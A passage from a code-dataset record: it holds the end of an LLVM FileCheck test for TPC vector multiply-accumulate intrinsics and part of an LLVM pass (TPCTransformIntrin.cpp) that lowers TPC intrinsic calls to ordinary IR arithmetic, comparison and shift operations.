__local *vpptr = (bool64 __local *)vpreda;\n float64 res = 0;\n float64 x0 = *x0ptr;\n float64 x1 = *x1ptr;\n bool64 vpred = *vpptr;\n\n // Vector + Vector\n\n res = v_f32_mac_b(x0, x1, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_f32_mac_b(x0, x1, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_f32_mac_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_f32_mac_b(x0, x1, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, x1, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, x1, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n\n // Vector + Scalar\n\n res = v_f32_mac_b(x0, xs, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_f32_mac_b(x0, xs, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_f32_mac_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_f32_mac_b(x0, xs, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, xs, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, xs, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n\n // Vector + Immediate\n\n res = v_f32_mac_b(x0, 1.5, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %SP0\n\n res = v_f32_mac_b(x0, 1.5, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %SP0\n\n res = v_f32_mac_b(x0, 1.5, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %SP{{[0-9]+}}\n\n res = v_f32_mac_b(x0, 1.5, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, !%SP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, 1.5, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %VP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, 1.5, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %VP{{[0-9]+}}\n\n res = v_f32_mac_vb(x0, 1.5, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, !%VP{{[0-9]+}}\n\n\n // Compatibility functions\n bool256 vpred_c = from_bool64(vpred);\n\n // Vector + Vector\n\n res = v_f32_mac_v_v(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_f32_mac_v_v(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_f32_mac_v_v_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_f32_mac_v_v_b(x0, x1, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_f32_mac_v_v_vb(x0, x1, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_f32_mac_v_v_vb(x0, x1, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n // Vector + Scalar\n\n res = v_f32_mac_v_s(x0, xs, res, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_f32_mac_v_s(x0, xs, res, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_f32_mac_v_s_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_f32_mac_v_s_b(x0, xs, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_f32_mac_v_s_vb(x0, xs, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_f32_mac_v_s_vb(x0, xs, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n // Vector + Immediate\n\n res = v_f32_mac_v_s(x0, 1.5, res, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %SP0\n\n res = v_f32_mac_v_s(x0, 1.5, res, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %SP0\n\n res = v_f32_mac_v_s_b(x0, 1.5, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %SP{{[0-9]+}}\n\n res = v_f32_mac_v_s_b(x0, 1.5, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, !%SP{{[0-9]+}}\n\n res = v_f32_mac_v_s_vb(x0, 1.5, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, %VP{{[0-9]+}}\n\n res = v_f32_mac_v_s_vb(x0, 1.5, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.f32 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc00000, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.44988423585891724, "alphanum_fraction": 0.4699583947658539, "avg_line_length": 41.95960998535156, "blob_id": "852ab7740142972e5083474ea7152c2d42df8eb7", "content_id": "22d766084ec3c0ef65279877d11179783c556b92", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 57437, "license_type": "permissive", "max_line_length": 105, "num_lines": 1337, "path": "/llvm/lib/Target/TPC/TPCTransformIntrin.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCTransformIntrin.cpp -----------------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// This pass\n// transforms intrinsic call into expression\n// kind of add(a,b) => a+b\n//===----------------------------------------------------------------------===//\n#ifdef LLVM_TPC_COMPILER\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/Intrinsics.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/PassRegistry.h\"\n\n#define DEBUG_TYPE \"TPCTransformIntrin\"\n\nusing namespace llvm;\n\nnamespace llvm {\n FunctionPass *createTPCTransformIntrinPass();\n void initializeTPCTransformIntrinPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC intrinsic transformations\";\nstatic const char PassName[] = \"tpc-trans-intr\";\n\nstatic cl::opt<bool>\nEnableTPCTransformIntrin(PassName,\n cl::Hidden,\n cl::init(true));\n\n// EXTRA options for management\nstatic cl::opt<bool>\nEnableTPCTransformIntrinInt5(\"tpc-trans-intr-int5\",\n cl::Hidden,\n cl::init(false));\n\nstatic cl::opt<bool>\nEnableTPCTransformIntrinFloat(\"tpc-trans-intr-float\",\n cl::Hidden,\n cl::init(true));\n\n\n// usual integer cmp causes to perf regression, as these statements mobe to \n// BB when it is used\nstatic cl::opt<bool>\nEnableTPCTransformIntrinCmp(\"tpc-trans-intr-cmp\",\n cl::Hidden,\n cl::init(true));\n\nstatic cl::opt<bool>\nEnableTPCTransformIntrinMinMax(\"tpc-trans-intr-minmax\",\n cl::Hidden,\n cl::init(true));\n\nnamespace {\n class TPCTransformIntrin : public FunctionPass {\n Function *F = nullptr;\n unsigned NumTransformed = 0;\n public:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCTransformIntrin() : FunctionPass(ID) {\n initializeTPCTransformIntrinPass(*PassRegistry::getPassRegistry());\n }\n bool runOnFunction(Function &F) override;\n };//class\n}//namespace\n\nchar TPCTransformIntrin::ID = 0;\nINITIALIZE_PASS(TPCTransformIntrin, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCTransformIntrinPass() {\n return new TPCTransformIntrin();\n}\n\nbool TPCTransformIntrin::runOnFunction(Function &Func) {\n\n if (!EnableTPCTransformIntrin) {\n return false;\n }\n\n if (skipFunction(Func))\n return false;\n F = &Func;\n LLVMContext &Ctx = Func.getContext();\n NumTransformed = 0;\n IntegerType *I32Type = Type::getInt32Ty(Ctx);\n IntegerType *I1Type = Type::getInt1Ty(Ctx);\n IntegerType *I8Type = Type::getInt8Ty(Ctx);\n IntegerType *I16Type = Type::getInt16Ty(Ctx);\n Type *F32Type = Type::getFloatTy(Ctx);\n Type *F16Type = Type::getBFloat16Ty(Ctx);\n VectorType* Int64Type = VectorType::get(I32Type, 64);\n VectorType* Float64Type = VectorType::get(F32Type, 64);\n VectorType* Short128Type = VectorType::get(I16Type, 128);\n VectorType* Bfloat128Type = VectorType::get(F16Type, 128);\n VectorType* Char256Type = VectorType::get(I8Type, 256);\n VectorType* Int5Type = VectorType::get(I32Type, 5);\n for (auto BBIt = Func.begin(), BBEnd = Func.end(); BBIt != BBEnd;) {\n BasicBlock &BB = *BBIt;\n ++BBIt;\n\n for (auto It = BB.begin(), E = BB.end(); It != E; ) {\n Instruction &I = *It;\n ++It;\n /////////////////////// Insert here //////////////////\n if (const IntrinsicInst* intrins = dyn_cast<IntrinsicInst>(&I)) {\n IRBuilder<> Builder(&I);\n Intrinsic::ID inid = intrins->getIntrinsicID();\n int no = intrins->getNumOperands();\n switch (inid) {\n case Intrinsic::tpc_add_mask:\n // all other _mask operations is not properly supported\n // works only tpc_add_mask with combination vector/scalar\n // vector/vector is not supported due to problems in clang\n case Intrinsic::tpc_sub_mask:\n case Intrinsic::tpc_and_mask:\n case Intrinsic::tpc_or_mask:\n case Intrinsic::tpc_xor_mask:\n {\n if (no != 9) {\n continue;\n }\n //last arg op 9 is not intrested\n auto op7 = intrins->getOperand(7);\n auto op6 = intrins->getOperand(6);\n auto op5 = intrins->getOperand(5);\n auto op4 = intrins->getOperand(4); \n auto op3 = intrins->getOperand(3);\n auto op2 = intrins->getOperand(2);\n auto op1 = intrins->getOperand(1);\n auto op0 = intrins->getOperand(0);\n Type* t1 = op1->getType();\n Type* t0 = op0->getType();\n if (t0 != Int5Type) {\n continue;\n }\n APInt apint;\n Constant* cv;\n cv = dyn_cast<Constant>(op7);\n if (!cv) { continue; }\n if (cv->getType() != I1Type) {\n continue;\n }\n apint = cv->getUniqueInteger();\n if (apint != 0) {\n // polarity must be zero\n continue;\n }\n // predicate must be true\n cv = dyn_cast<Constant>(op6);\n if (!cv) { continue; }\n if (cv->getType() != I1Type) {\n continue;\n }\n apint = cv->getUniqueInteger();\n if (apint != 1) {\n continue;\n }\n // income arg \n Type* income_type = op5->getType();\n if (income_type != t0) {\n continue;\n }\n\n cv = dyn_cast<Constant>(op4);\n if (!cv) { continue; }\n if (cv->getType() != I32Type) {\n continue;\n }\n apint = cv->getUniqueInteger();\n if (apint != 0) {\n continue;\n }\n cv = dyn_cast<Constant>(op3);\n if (!cv) { continue; }\n if (cv->getType() != I8Type) {\n continue;\n }\n apint = cv->getUniqueInteger();\n if (apint != 2) {\n continue;\n }\n // dimmask\n cv = dyn_cast<Constant>(op2);\n if (!cv) { continue; }\n if (cv->getType() != I32Type) {\n continue;\n }\n apint = cv->getUniqueInteger(); \n Value* newins;\n // int5 sake\n int vne;\n if (t0->isVectorTy()) {\n vne = t0->getVectorNumElements();\n if (vne == 5 && EnableTPCTransformIntrinInt5) { //int5 case\n if (t0->isVectorTy() && t1->isVectorTy()) {\n // however at the moment this config is imposible under tpc_add_mask\n // only tpc_add, need to wait some stabilization\n\n // maybe some is splat\n if (auto shins = dyn_cast<ShuffleVectorInst>(op0)) {\n const Constant * mask = shins->getMask();\n if (mask && mask->isZeroValue()) {\n Constant *CI = ConstantInt::get(I32Type, 0);\n auto sav0 = op0;\n op0 = op1;\n op1 = Builder.CreateExtractElement(sav0, CI);\n t1 = op1->getType();\n t0 = op0->getType();\n }\n }\n\t\t/*\n else if (ConstantVector* cv = dyn_cast<ConstantVector>(op0)) {\n // <5 x i32> <i32 1, i32 1, i32 1, i32 1, i32 1>\n // however do not recognize as ConstantVector\n // may be change in clang would be more reliable\n }*/\n }\n if (!t1->isVectorTy()) { // int 5 with scalar\n if (income_type != t0) {\n continue;\n }\n if (apint == 0) { //dimmask ?\n continue;\n }\n // ready to emit code for int5\n if (inid == Intrinsic::tpc_add_mask) {\n if ((apint & 1) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 0);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWAdd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 2) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 1);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWAdd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 4) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 2);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWAdd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 8) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 3);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWAdd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 16) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 4);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWAdd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n }\n else if (inid == Intrinsic::tpc_sub_mask) {\n if ((apint & 1) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 0);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWSub(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 2) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 1);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWSub(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 4) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 2);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWSub(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 8) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 3);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWSub(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 16) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 4);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateNSWSub(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n }\n else if (inid == Intrinsic::tpc_or_mask) {\n if ((apint & 1) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 0);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateOr(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 2) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 1);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateOr(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 4) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 2);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateOr(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 8) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 3);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateOr(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 16) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 4);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateOr(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n }\n else if (inid == Intrinsic::tpc_and_mask) {\n if ((apint & 1) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 0);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateAnd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 2) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 1);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateAnd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 4) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 2);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateAnd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 8) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 3);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateAnd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 16) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 4);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateAnd(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n }\n else if (inid == Intrinsic::tpc_xor_mask) {\n if ((apint & 1) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 0);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateXor(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 2) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 1);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateXor(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 4) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 2);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateXor(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 8) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 3);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateXor(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n if ((apint & 16) != 0) {\n Constant *CI = ConstantInt::get(I32Type, 4);\n newins = Builder.CreateExtractElement(op0, CI);\n newins = Builder.CreateXor(newins, op1);\n newins = Builder.CreateInsertElement(op0, newins, CI);\n }\n }\n else {\n continue;\n }\n I.replaceAllUsesWith(newins);\n I.eraseFromParent();\n NumTransformed++;\n continue;\n }\n }\n }\n\n } break;\n case Intrinsic::tpc_add: \n case Intrinsic::tpc_sub: \n case Intrinsic::tpc_mul:\n case Intrinsic::tpc_and: \n case Intrinsic::tpc_or: \n case Intrinsic::tpc_xor: \n case Intrinsic::tpc_min:\n case Intrinsic::tpc_max:\n case Intrinsic::tpc_cmp_eq:\n case Intrinsic::tpc_cmp_neq:\n case Intrinsic::tpc_cmp_less:\n case Intrinsic::tpc_cmp_leq:\n case Intrinsic::tpc_cmp_grt:\n case Intrinsic::tpc_cmp_geq:\n case Intrinsic::tpc_shl:\n case Intrinsic::tpc_shr:\n {\n if (no != 8) {\n continue;\n }\n\n //auto op7 = intrins->getOperand(7); //last arg is not intrested\n auto op6 = intrins->getOperand(6);\n auto op5 = intrins->getOperand(5);\n auto op4 = intrins->getOperand(4); // income , need to look when MUL\n auto op3 = intrins->getOperand(3);\n auto op2 = intrins->getOperand(2);\n auto op1 = intrins->getOperand(1);\n auto op0 = intrins->getOperand(0);\n\n Constant* cv = dyn_cast<Constant>(op6);\n Constant* cv2;\n if (!cv) { continue; }\n if (cv->getType() != I1Type) {\n continue;\n }\n APInt apint = cv->getUniqueInteger();\n if (apint != 0) {\n // polarity must be zero\n continue;\n }\n // predicate must be true\n cv = dyn_cast<Constant>(op5);\n if (!cv) { continue; }\n if (cv->getType() != I1Type) {\n continue;\n }\n apint = cv->getUniqueInteger();\n if (apint != 1) {\n continue;\n }\n // op4 : need to look type\n Type* income_type = op4->getType();\n // op3 \n cv = dyn_cast<Constant>(op3);\n\n if (!cv) { continue; }\n if (cv->getType() != I32Type) {\n continue;\n }\n apint = cv->getUniqueInteger();\n\n Type* t1 = op1->getType();\n Type* t0 = op0->getType();\n Value* newins = nullptr;\n // 1 with saturation for int. skip it\n if (apint != 0) {\n continue;\n }\n\n cv2 = dyn_cast<Constant>(op2);\n if (!cv2) { continue; }\n if (cv2->getType() != I8Type) {\n continue;\n }\n bool shins = false;\n if (inid == Intrinsic::tpc_shl || inid == Intrinsic::tpc_shr) {\n if (t1->isVectorTy()) {\n if (((t0 == Int64Type || t0 == Float64Type) && t1 == Int64Type) ||\n ((t0 == Short128Type || t0 == Bfloat128Type) && t1 == Short128Type) ||\n (t0 == Char256Type && t1 == Char256Type) \n ) {\n }\n else {\n continue;\n }\n }\n else if (t0->isVectorTy() && t1->isIntegerTy()) {\n // as imposible to call CreateShl with different types case is not processable\n // however need to consider case when op1 is static constant\n // for this there is method CreateShl(Value, int64_t (APint)\n continue;\n shins = true;\n }\n else {\n if (t1 != I8Type) {\n continue;\n }\n }\n shins = true;\n }\n else if (t1 != t0) {\n // now only equal types are supported\n continue;\n }\n if (t0 == t1 || shins) {\n apint = cv2->getUniqueInteger();\n if (t0->isFPOrFPVectorTy() && EnableTPCTransformIntrinFloat) {\n // op2 0 - float, 1-bfloat 2-int\n if (!(apint == 0 || apint == 1)) {\n continue;\n }\n if (inid == Intrinsic::tpc_add) {\n newins = Builder.CreateFAdd(op0, op1);\n }\n else if (inid == Intrinsic::tpc_sub) {\n newins = Builder.CreateFSub(op0, op1);\n }\n else if (inid == Intrinsic::tpc_mul) {\n if (t0 != income_type) { // for mul may it is type of result\n continue; // not supported if is other type\n }\n newins = Builder.CreateFMul(op0, op1);\n }\n else if (inid == Intrinsic::tpc_and) {\n continue; // operation for float is not allowed by language\n }\n else if (inid == Intrinsic::tpc_or) {\n continue; // operation for float is not allowed by language\n }\n else if (inid == Intrinsic::tpc_xor) {\n continue; // operation for float is not allowed by language\n }\n else if (inid == Intrinsic::tpc_min && EnableTPCTransformIntrinMinMax) {\n if (t0->isVectorTy()) {\n // there is llvm intrinsic, which can be used onle for fp type\n if (apint == 0) {\n newins = Builder.CreateMinNum(op0, op1);\n }\n else {\n continue;\n }\n }\n else {\n //Builder.CreateMinNum(op0, op1); cant be be applied \n // as it is not implemented yet\n // it will be assert in include\\llvm/CodeGen/TargetLowering.h:3199!\n // same for max\n /*if (apint == 0) {\n newins = Builder.CreateMinNum(op0, op1);\n }\n else*/ { //bfloat is not supported in llvm\n newins = Builder.CreateSelect(Builder.CreateFCmpOLT(op0, op1), op0, op1);\n }\n }\n }\n else if (inid == Intrinsic::tpc_max && EnableTPCTransformIntrinMinMax) {\n if (t0->isVectorTy()) {\n // there is llvm intrinsic, which can be used onle for fp type\n if (apint == 0) {\n newins = Builder.CreateMaxNum(op0, op1);\n }\n else {\n continue;\n }\n }\n else {\n /*if (apint == 0) {\n newins = Builder.CreateMaxNum(op0, op1);\n }\n else*/ { //bfloat is not supported in llvm\n newins = Builder.CreateSelect(Builder.CreateFCmpOGT(op0, op1), op0, op1);\n }\n }\n }\n else if (inid == Intrinsic::tpc_cmp_eq && EnableTPCTransformIntrinCmp) {\n // cmp expression for vector is not implemented at the moment\n if (t0->isVectorTy()) { continue; }\n newins = Builder.CreateFCmpOEQ(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_neq && EnableTPCTransformIntrinCmp) {\n if (t0->isVectorTy()) { continue; }\n newins = Builder.CreateFCmpUNE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_less && EnableTPCTransformIntrinCmp) {\n if (t0->isVectorTy()) { continue; }\n newins = Builder.CreateFCmpOLT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_leq && EnableTPCTransformIntrinCmp) {\n if (t0->isVectorTy()) { continue; }\n newins = Builder.CreateFCmpOLE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_grt && EnableTPCTransformIntrinCmp) {\n if (t0->isVectorTy()) { continue; }\n newins = Builder.CreateFCmpOGT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_geq && EnableTPCTransformIntrinCmp) {\n if (t0->isVectorTy()) { continue; }\n newins = Builder.CreateFCmpOGE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shl) {\n if (apint == 0) { // float\n if (t0->isVectorTy()) {\n op0 = Builder.CreateBitCast(op0, Int64Type);\n newins = Builder.CreateShl(op0, op1);\n newins = Builder.CreateBitCast(newins, t0);\n }\n else {\n op0 = Builder.CreateBitCast(op0, I32Type);\n op1 = Builder.CreateZExt(op1, I32Type);\n newins = Builder.CreateShl(op0, op1);\n newins = Builder.CreateBitCast(newins, t0);\n }\n }\n else if (apint == 1) { //bfloat\n if (t0->isVectorTy()) {\n op0 = Builder.CreateBitCast(op0, Short128Type);\n newins = Builder.CreateShl(op0, op1);\n newins = Builder.CreateBitCast(newins, t0);\n }\n else {\n op0 = Builder.CreateBitCast(op0, I16Type);\n op0 = Builder.CreateZExt(op0, I32Type);\n op1 = Builder.CreateZExt(op1, I32Type);\n newins = Builder.CreateShl(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n newins = Builder.CreateBitCast(newins, t0);\n }\n }\n }\n else if (inid == Intrinsic::tpc_shr) {\n if (apint == 0) { // float\n if (t0->isVectorTy()) {\n op0 = Builder.CreateBitCast(op0, Int64Type);\n newins = Builder.CreateLShr(op0, op1);\n newins = Builder.CreateBitCast(newins, t0);\n }\n else {\n op0 = Builder.CreateBitCast(op0, I32Type);\n op1 = Builder.CreateZExt(op1, I32Type);\n newins = Builder.CreateLShr(op0, op1);\n newins = 